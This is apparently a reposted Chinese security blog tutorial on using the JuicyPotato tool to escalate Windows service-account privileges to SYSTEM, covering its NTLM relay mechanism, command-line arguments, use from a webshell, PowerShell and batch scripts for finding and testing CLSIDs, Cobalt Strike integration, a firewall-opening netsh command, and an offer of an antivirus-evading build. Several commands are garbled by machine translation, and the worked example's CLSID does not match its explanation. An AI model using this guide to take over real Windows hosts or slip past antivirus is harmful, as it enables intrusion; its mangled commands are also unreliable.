提权小神器-JuicyPotato多种应用场景详解

admin 2022年2月28日12:40:13评论874 views字数 5602阅读18分40秒阅读模式

提权小神器-JuicyPotato多种应用场景详解

0X00-Juicy-Potato简介

Juicy Potato江湖人称烂土豆,是在MS16-075漏洞利用工具RottenPotatoN工具的基础上做了扩展(带有糖的RottenPotatoNG,带有一点汁液,即Windows服务帐户中的**另一种本地特权升级工具)到NT AUTHORITY SYSTEM ***)


追根到底是一种Windows的本地提权工具,利用了COM对象进行提权 将RottenPotatoNG适用范围更加广泛(据说作者说了些话)

使用Juicy Potato这种提权工具的手段是获得了SeImpersonate或SeAssignPrimaryToken权限,因此带有一定的局限性,对权限有一定要求而不是万能神器。


Juicy Potato的项目官网如下:

https://github.com/ohpe/juicy-potato

这款提权工具其实早在18年末就有人开发出来了,但是吧,依然没有进入到很多人的视野中,今天这篇文章也是站在很多大佬的制服上进行总结与开新枝,如有错误,希望大家能及时斧正。


提权小神器-JuicyPotato多种应用场景详解


0x01-Juicy-potato项目功能点

①目标CLSID

选择你想要的任何CLSID。

目前官方github项目中已经已经知道了Windows版本的CLSID列表。

②COM监听端口

设置你需要的COM侦听端口

③COM监听IP地址

设置COM组件监听的目标ip

④过程创建模式

绝对模拟用户的权限,有以下三个选择:


CreateProcessWithToken(需要SeImpersonate权限)

CreateProcessAsUser(需要SeAssignPrimaryToken权限)

两者(综合以上两种)

⑤启动程序

如果JuIcypotato利用成功,则启动重启文件或脚本

⑥工艺参数

自定义已启动的进程参数

远程与远程RPC服务器交互

0x02-Juicy-Potato局限性

①当前用户必须具有以下权限中的一种,或者两个同时仅限

权限

SeAssignPrimaryToken权限

以下用户具有该权限:

·本地管理员组成员和本地服务帐户

·由服务控制管理器启动的服务

· COM基础结构启动的并配置为在特定帐户下运行的COM服务器

针对提权的话,主要是第三类用户

常见的为LocalService用户,例如IIS和者sqlserver的用户

②开启DCOM,并能找到可用的COM对象

③开启RPC

0x03-原理(来自3g大佬)

· LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限

·打开SeImpersonate权限后,能够在调用CreateProcessWithToken时,引入新的令牌创建新的进程

·打开SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,启用新的令牌创建新的进程

Juicy Potato的实现流程如下:

1,加载COM,发出请求,权限为系统

在指定ip和端口的位置尝试加载一个COM对象。

RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}

可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

2,回应步骤1的请求,发起NTLM认证

正常情况下,由于权限不足,当前权限不是系统,无法认证成功。

3,针对本地端口,同样发起NTLM认证,权限为当前用户

由于权限为当前用户,所以NTLM认证能够成功完成。

RottenPotatoNG使用的135端口。

Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。

4,分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重新命名步骤1(权限为System)的NTLM认证通过,获得系统权限的令牌

初期时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。

5,利用系统权限的令牌创建新进程

如果开启SeImpersonate权限,调用CreateProcessWithToken,调用系统权限的Token,创建的进程为系统权限。

如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,调用系统权限的Token,创建的进程为系统权限。

0x04-在命令行中使用

D:>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess调用: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: 运行指定程序
-l <port>: COM服务器侦听端口
Optional args:
-m <ip>: COM服务器侦听地址 (默认 127.0.0.1)
-a <argument>: 传递给程序命令行参数 (默认 NULL)
-k <ip>: RPC服务器IP地址 (默认 127.0.0.1)
-n <port>: RPC服务器侦听端口 (默认 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z 仅测试CLSID并打印令牌的用户

1,查看当前用户权限,是否符合要求

whoami /私人

如果开启SeImpersonate权限,juicypotato的参数可以使用-tt

如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-tu

如果均开启,可以选择-t *

如果均未开启,那么无法提权。


提权小神器-JuicyPotato多种应用场景详解


2,查看RPC串口端口是否为135


如果被修改(例如为111)juicypotato的参数可以使用-n 111指定RPC端口

如果系统局部了RPC,并非一定无法提权,需要满足如下条件:

找到另一边的系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k <ip>

Windows默认配置下,允许135端口的入站规则可以进行远程RPC登录。

添加防火墙规则允许135端口入站的命令如下:

netsh advfirewall防火墙添加规则名称=“ 135”协议= TCP目录=在本地端口= 135操作=允许


3,选择可用的CLSID


参考列表

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

根据你的系统类型选择CLSID(例如:{9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

然后-c指定即可


提权小神器-JuicyPotato多种应用场景详解


相关系统使用的CLSID文末都给大家打包了


4,选择一个系统未占用的端口作为监听端口


-l参数指定即可

例如,最终参数如下:

JuicyPotato.exe -tt -pc: windows system32 cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

即使用SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}来进行提权


5.执行效果


提权小神器-JuicyPotato多种应用场景详解

0x05-在Webshell中使用JuicyPotato

webshell中使用Juicy-Potato的提权的话

多汁的土豆需要进行一些特殊处理,转化直接返回结果

实现起来比较简单,在我文章后附有文件JuicyPotato-webshell.exe

其默认使用的CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}

直接执行JuicyPotato-webshell.exe -p“ whoami”

或者JuicyPotato-webshell.exe -p“ whoami” -c {XXXXX}即可

执行效果焦点。


提权小神器-JuicyPotato多种应用场景详解


0x06-在命令行中批量提取当前系统的CLSID


官方宣布的代码如下

<#
This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
Then exports to CSV
#>
$ErrorActionPreference = "Stop"
# Importing some requirements
. .utilsJoin-Object.ps1
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
$CLSID = Get-ItemProperty HKCR:clsid* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
$APPID = Get-ItemProperty HKCR:appid* | select-object localservice,@{N='AppID'; E={$_.pschildname}} | where-object {$_.LocalService -ne $null}

$RESULT = Join-Object -Left $APPID -Right $CLSID -LeftJoinProperty AppID -RightJoinProperty AppID -Type AllInRight  | Sort-Object LocalService
# Preparing to Output
$OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
$TARGET = $OS -Replace " ","_"

# Make target folder
New-Item -ItemType Directory -Force -Path .$TARGET

# Output in a CSV
$RESULT | Export-Csv -Path ".$TARGETCLSIDs.csv" -Encoding ascii -NoTypeInformation

# Export CLSIDs list
$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".$TARGETCLSID.list" -Encoding ascii

# Visual Table
$RESULT | ogv

部分系统中是无法正常提取的,会报错

在此贴上修复的powershell提取脚本

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
$CLSID = Get-ItemProperty HKCR:clsid* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
foreach($a in $CLSID)
{
    Write-Host $a.CLSID
}

直接执行Powershell -ep旁路-f get-clid-2012.ps1立即

效果示范


提权小神器-JuicyPotato多种应用场景详解

0x07-在目标机批量验证CLSID提权可用

官方宣布的批处理脚本经过测试后,问题非常多,做了一下修改

代码如下--juicypotato.bat

home.php?mod=space&uid=46675 off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION

FOR /F %%i IN (CLSID.list) DO (
   echo %%i !port!
   juicypotato-webshell.exe -c %%i -p "whoami" >> result.log
   set RET=!ERRORLEVEL!
   :: echo !RET!
   if "!RET!" == "1"  set /a port=port+1
)

执行后在同目录下生成一个result.log文件

记录测试不同CLSID使用烂土豆提权的结果

效果如图所示


提权小神器-JuicyPotato多种应用场景详解


随后根据日志的相关输出,选择合适的CLSID进行权限提升即可

0x08-在Cobaltstrike中使用Juicypotato提权

在Cobaltstrike中使用Juicypotato提取,是使用DLL注入的方式执行Juicypotato实现权限提升

但是缺陷比较明显,只能使用重置的CLSID({4991d34b-80a1-4291-83b6-3328366b9097})进行提权如果想使用其他CLSID请参考命令行等执行方法

下载并解压reflectiveJuicyPotato.zip,在Cobaltstike中选择脚本管理器-> load加载juicypotato.cna脚本

随后我们在提权模块即可发现多了一个JuicyPotato


提权小神器-JuicyPotato多种应用场景详解


点击开始后,提权效果如图


提权小神器-JuicyPotato多种应用场景详解


权限提升至NT AUTHORITY SYSTEM

0X09福利/实验资源下载

本次实验环境中的原始版本JuicyPotato,JuicyPotato-webshell,Get-CLSID.ps1,批处理文件,Cobaltstrike脚本都已经给大家集成好了

听说JuicyPotato已经加入豪华全家桶系列?没事,咱有免杀版本

懂C的人也可以自己修改一下源代码,很好过杀软的。

提权小神器-JuicyPotato多种应用场景详解

本文始发于微信公众号(疯猫网络):提权小神器-JuicyPotato多种应用场景详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月28日12:40:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   提权小神器-JuicyPotato多种应用场景详解http://cn-sec.com/archives/504191.html

发表评论

匿名网友 填写信息